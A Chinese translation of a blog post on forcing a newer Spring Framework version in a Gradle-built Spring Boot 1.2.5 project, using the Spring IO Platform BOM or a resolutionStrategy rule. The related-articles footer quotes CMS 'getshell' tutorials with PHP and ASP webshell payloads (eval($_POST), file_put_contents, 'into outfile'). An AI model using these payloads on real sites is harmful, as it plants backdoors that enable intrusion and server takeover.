在使用Gradle构建的Spring Boot应用程序中覆盖Spring Framework版本

如果要使用或仅通过Spring Boot检查Spring的最新版本,但当前的Spring Boot版本取决于旧的Spring版本,则需要稍微调整Gradle构建配置。

例如,在撰写本文时,Spring 4.2.1和Spring Boot 1.2.5是当前版本。 Spring Boot 1.2.5依赖于Spring 4.1.7。 那么,如何将Spring 4.2.1与Spring Boot 1.2.5一起使用呢? 看一下实现此目标的两种方法:使用和不使用Spring IO Platform。

Spring IO平台

Spring IO Platform的想法是提供已知通过Maven的依赖管理一起工作的库的版本。 您应该为项目考虑Spring IO Platform的主要原因是,您不需要关心Spring项目的依赖版本及其依赖关系。

Gradle还通过依赖项管理插件来支持该平台,该插件提供了类似Maven的依赖项管理功能。 要使用它,您只需将平台的BOM导入到应用程序的build.gradle文件中:

dependencyManagement {imports {mavenBom 'io.spring.platform:platform-bom:1.1.3.RELEASE'}
}

如果您碰巧由Spring Initializr生成项目,您会注意到Gradle的依赖管理插件已经包含在内。 剩下的事情就是添加依赖项管理配置,如上所示导入BOM并添加没有版本的依赖项-版本由BOM提供。

覆盖依赖版本

重写依赖的版本是一样容易改变的依赖版本属性,可以发现价值BOM及其祖先在这里和这里 。

可以在gradle.properties文件中更改属性:

spring.version = '4.2.1.RELEASE'

或在build.gradle文件中:

ext['spring.version'] = '4.2.1.RELEASE'

上述属性定义了Spring框架的版本。 覆盖它可以让您在Spring Boot应用程序中调整Spring版本。

  • 完整的文件: https : //gist.github.com/kolorobot/71f0f208ffcd7c5979e7

假设您已安装Gradle 2.6,请执行dependencyInsight任务:

gradlew dependencyInsight --dependency org.springframework

如下所示,Spring Boot 1.2.5所需的Spring 4.1.7已解析为Spring 4.2.1:

[...]org.springframework:spring-webmvc:4.1.7.RELEASE -> 4.2.1.RELEASE
\--- org.springframework.boot:spring-boot-starter-web:1.2.5.RELEASE\--- compile                 org.springframework:spring-webmvc:4.1.7.RELEASE -> 4.2.1.RELEASE
\--- org.springframework.boot:spring-boot-starter-web:1.2.5.RELEASE\--- compile                 [...]

在没有Spring IO平台的情况下覆盖Spring版本

如果您对平台不熟悉或不愿意使用它,则可以选择一种简单的解决方法,并使用以下配置替换Spring框架的版本:

configurations.all {resolutionStrategy.eachDependency { DependencyResolveDetails details ->if (details.requested.group == 'org.springframework') {details.useVersion "4.2.1.RELEASE"}}
}
  • 完整文件: https : //gist.github.com/kolorobot/b5db05f6a5930642e6e3

翻译自: https://www.javacodegeeks.com/2015/09/override-spring-framework-version-in-spring-boot-application-built-with-gradle.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358278.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微信公众平台消息接口开发 小黄鸡(小贱鸡)机器人 微信公众平台 公众号聊天机器人 ,消息,接口,小黄鸡,小贱鸡,机器人...

第一部分 基于模拟请求的方式 一、模拟请求数据 先看一下小黄鸡的网页版界面 我们通过模拟http请求来实现,上面对话抓包如下: 发送消息的包 接收消息的包: 根据上面的包,模拟发起请求如下: 二、与微信对接 小黄鸡还可以…

帝国CMS后台getshell

后台新增页面&#xff0c;写入webshell <?php fputs(fopen("shell.php","a"),<?php phpinfo();eval($_POST[cmd]);?>)?>在后台查看文件写入成功 访问成功 shell工具连接成功

如何有效地编写方法

本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题&#xff0c;包括对象创建&#xff0c;并发&#xff0c;序列化&#xff0c;反射等。 它将指导您完成Java掌握的过程&#xff01; 在这里查看 &#xff01; 目录 1.简…

iOS push新的调用方法

// IOS8 新系统需要使用新的代码if ([[[UIDevice currentDevice] systemVersion] floatValue] > 8.0){ [[UIApplication sharedApplication] registerUserNotificationSettings:[UIUserNotificationSettings settingsForTypes:(UIUserNotificationTypeSound | UIUse…

PHPcms框架的Webshell

登录界面 后台网址 www.phpcms.com/admin.php 进入主页面 代码注入拿webshell 接下来 我直接就上图了 写入一句话木马 <?php file_put_contents(ooo.php,base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FhXSk7Pz4)); ?>查看专题 继续添加第二个专题 利用burpsuit拦截…

Python学习笔记 ---第三章

函数 函数是代码的一种抽象 函数说明abs绝对值max最大值hex转换为16进制强制数据类型转换 int(123) 123 int(12.35) 12 srt(100) 100 bool(1) True 定义函数 定义一个函数,依次写出函数名,括号中的参数和冒号: 最后return返回 def my_abs(x): if x >0: return x else return…

Ecshop框架的Webshell

一、登录情况 后台地址&#xff1a;127.0.0.1/ecshop/admin 因为后台没有放东西 嘛 所以就啥也没有 二、后台拿webshell三种思路演示 1&#xff1a;执行数据库命令拿webshell 首先需要找到可写入命令的页面&#xff1a; select <;?php eval($_POST[1])?>; into ou…

什么是大前端,前端工程师要不要成为全栈工程师?

不想成为全栈的前端不是好程序员。 数年以前,全栈工程师的理念忽然风靡墙内外,成为开发者们津津乐道的话题。数年过去,关于全栈工程师的争议不多了,教你速成全栈工程师的视频课程多了起来,说明大家对于这个理念慢慢接受了。但我发现,鼓吹前端往全栈转型做的有点走…

muy bien_配置Java EE应用程序或“将Bien付诸实践”

muy bien过去&#xff0c;有关应用程序配置的讨论很多。 我不知道谁拉开了辩论的序幕&#xff0c;但是最基础的阅读&#xff08;着眼于未来的Java EE 7及更高版本&#xff09;是Antonio Goncalves的帖子[辩论] – Java EE 7中的配置又如何呢 &#xff1f; 事实是&#xff0c;使…

浅谈大前端的代表技术及其影响,值得我们思考

到底哪些是大前端的代表技术&#xff1f;从业务上来说&#xff0c;我认为终端 开发、网关设计、接口设计、桌面端的 工程化都可以算是大前端的业务范畴。 具体的技术&#xff0c;则是基于 HTML5、NodeJS 的通用技术&#xff0c;以及各平台的专有技术。 从现阶段来说&#xff0c…

Aspcms框架的webshell

文章目录 渗透测试-地基篇-Webshell-Aspcms框架&#xff08;十&#xff09;一、登录演示二、数据库备份拿webshell 一、登录演示 本次演示一种方法思路拿aspcms框架的webshell&#xff0c;该页面是用的是最新版本的aspcms框架自行搭建演示的。 1&#xff09;登录地址&#x…

python实现: protobuf解释器

之前项目为了自动化&#xff0c;所以写一个protobuf的解释器&#xff0c;用来生成项目所需的格式。 当然现在通过以下链接的指导&#xff0c;跳过手工分析&#xff0c;直接生成代码了。 https://developers.google.com/protocol-buffers/docs/reference/cpp-generated 这次文档…

Vaadin和DukeScript中的Hello World

从表面上看 &#xff0c; Vaadin和GWT通常与DukeScript有很多共同点。 两者都致力于为Java开发人员提供面向浏览器的解决方案&#xff0c;并且由于其对Maven的原生支持而与IDE集成良好。 但是&#xff0c;这些方面实际上是它们共有的全部。 从编程模型到框架如何处理代码&#…

xyCMS框架的webshell

"%><%eval request("d")%><%s"在网站配置页面插入一句话。&#xff08;注意一定要把前后内容闭合&#xff0c;不然整个网站都要崩溃&#xff09; 插入结果。 shell工具连接 </article>

Xcode版本更新后插件失效解决办法

打开终端&#xff0c;输入以下代码&#xff1a; defaults read /Applications/Xcode.app/Contents/Info DVTPlugInCompatibilityUUID 获取到DVTPlugInCompatibilityUUID&#xff0c;然后 find ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins -name Info.pli…

都灵JVM编程语言:使用ANTLR构建高级词法分析器

正如我在上一篇文章中所写的那样&#xff0c;我最近开始研究一种名为Turin的新编程语言。 可以在GitHub上找到适用于languag初始版本的编译器。 我目前正在改进语言&#xff0c;并正在开发Maven和IntelliJ插件。 在这里和下一篇文章中&#xff0c;我将介绍编译器和相关工具的不…

Flutter快速构建集美观与⾼性能于⼀体的APP

先上干货 github:https://github.com/flutter/flutter 官网&#xff1a;http://flutter.io/ 中文资源&#xff1a;https://flutter-io.cn/ 当然我也用其他敏捷式平台开发过APP&#xff0c;比如APICloud、uiapp,相比Flutter难度会小一些。 用户的需求 移动软件开发的困难 这…